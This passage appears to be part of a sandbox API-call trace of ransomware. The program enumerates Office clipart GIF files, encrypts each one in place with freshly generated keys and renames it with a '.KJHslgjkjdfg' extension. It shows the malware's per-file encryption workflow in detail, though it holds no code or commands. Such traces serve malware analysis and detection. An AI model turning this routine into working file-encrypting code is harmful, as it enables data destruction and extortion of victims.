phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.892] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.892] GetProcessHeap () returned 0x2a0000 [0193.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.893] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.893] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.893] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.893] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.893] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.893] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.893] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.893] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.893] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.895] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.895] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2026, lpOverlapped=0x0) returned 1 [0193.962] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2030, dwBufLen=0x2030 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2030) returned 1 [0193.962] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.962] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2030, lpOverlapped=0x0) returned 1 [0193.962] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.962] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.962] SetEndOfFile (hFile=0x118) returned 1 [0193.965] GetProcessHeap () returned 0x2a0000 [0193.965] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.965] GetProcessHeap () returned 0x2a0000 [0193.965] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.kjhslgjkjdfg")) returned 1 [0193.967] CloseHandle (hObject=0x118) returned 1 [0193.967] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0193.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.969] GetProcessHeap () returned 0x2a0000 [0193.969] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.969] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.969] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.969] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0195.028] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0195.028] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0195.028] GetProcessHeap () returned 0x2a0000 [0195.028] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0195.028] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0195.028] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0195.028] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0195.028] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0195.028] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0195.028] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0195.028] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0195.029] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0195.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0195.029] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0195.029] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.029] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2313, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2313, lpOverlapped=0x0) returned 1 [0195.042] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2320, dwBufLen=0x2320 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2320) returned 1 [0195.042] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.042] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2320, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2320, lpOverlapped=0x0) returned 1 [0195.043] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0195.043] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x23f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.043] SetEndOfFile (hFile=0x118) returned 1 [0195.046] GetProcessHeap () returned 0x2a0000 [0195.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0195.046] GetProcessHeap () returned 0x2a0000 [0195.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0195.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.kjhslgjkjdfg")) returned 1 [0195.048] CloseHandle (hObject=0x118) returned 1 [0195.048] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0195.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0195.049] GetProcessHeap () returned 0x2a0000 [0195.049] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0195.049] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0195.049] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0195.049] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0195.081] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0195.081] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0195.081] GetProcessHeap () returned 0x2a0000 [0195.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0195.081] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0195.081] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0195.082] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0195.082] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0195.082] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0195.082] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0195.082] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0195.082] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0195.082] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0195.082] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0195.082] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.083] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f8f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1f8f, lpOverlapped=0x0) returned 1 [0195.910] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f90) returned 1 [0195.910] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.910] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1f90, lpOverlapped=0x0) returned 1 [0195.910] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0195.910] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.910] SetEndOfFile (hFile=0x118) returned 1 [0195.912] GetProcessHeap () returned 0x2a0000 [0195.912] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0195.912] GetProcessHeap () returned 0x2a0000 [0195.912] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0195.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.kjhslgjkjdfg")) returned 1 [0195.914] CloseHandle (hObject=0x118) returned 1 [0195.914] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0195.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0195.915] GetProcessHeap () returned 0x2a0000 [0195.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0195.915] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0195.916] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0195.916] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0195.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0195.949] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0195.949] GetProcessHeap () returned 0x2a0000 [0195.949] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0195.949] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0195.949] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0195.949] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0195.949] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0195.949] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0195.949] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0195.949] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0195.949] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0195.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0195.950] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0195.950] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.950] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe1d, lpOverlapped=0x0) returned 1 [0195.950] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe20, dwBufLen=0xe20 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe20) returned 1 [0195.950] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.950] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe20, lpOverlapped=0x0) returned 1 [0195.950] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0195.950] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.950] SetEndOfFile (hFile=0x118) returned 1 [0195.953] GetProcessHeap () returned 0x2a0000 [0195.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0195.953] GetProcessHeap () returned 0x2a0000 [0195.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0195.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.kjhslgjkjdfg")) returned 1 [0195.955] CloseHandle (hObject=0x118) returned 1 [0195.956] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0195.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0195.958] GetProcessHeap () returned 0x2a0000 [0195.959] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0195.959] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0195.959] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0195.959] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.001] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.001] GetProcessHeap () returned 0x2a0000 [0196.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.001] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.001] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.001] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.002] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.002] WriteFile (in: 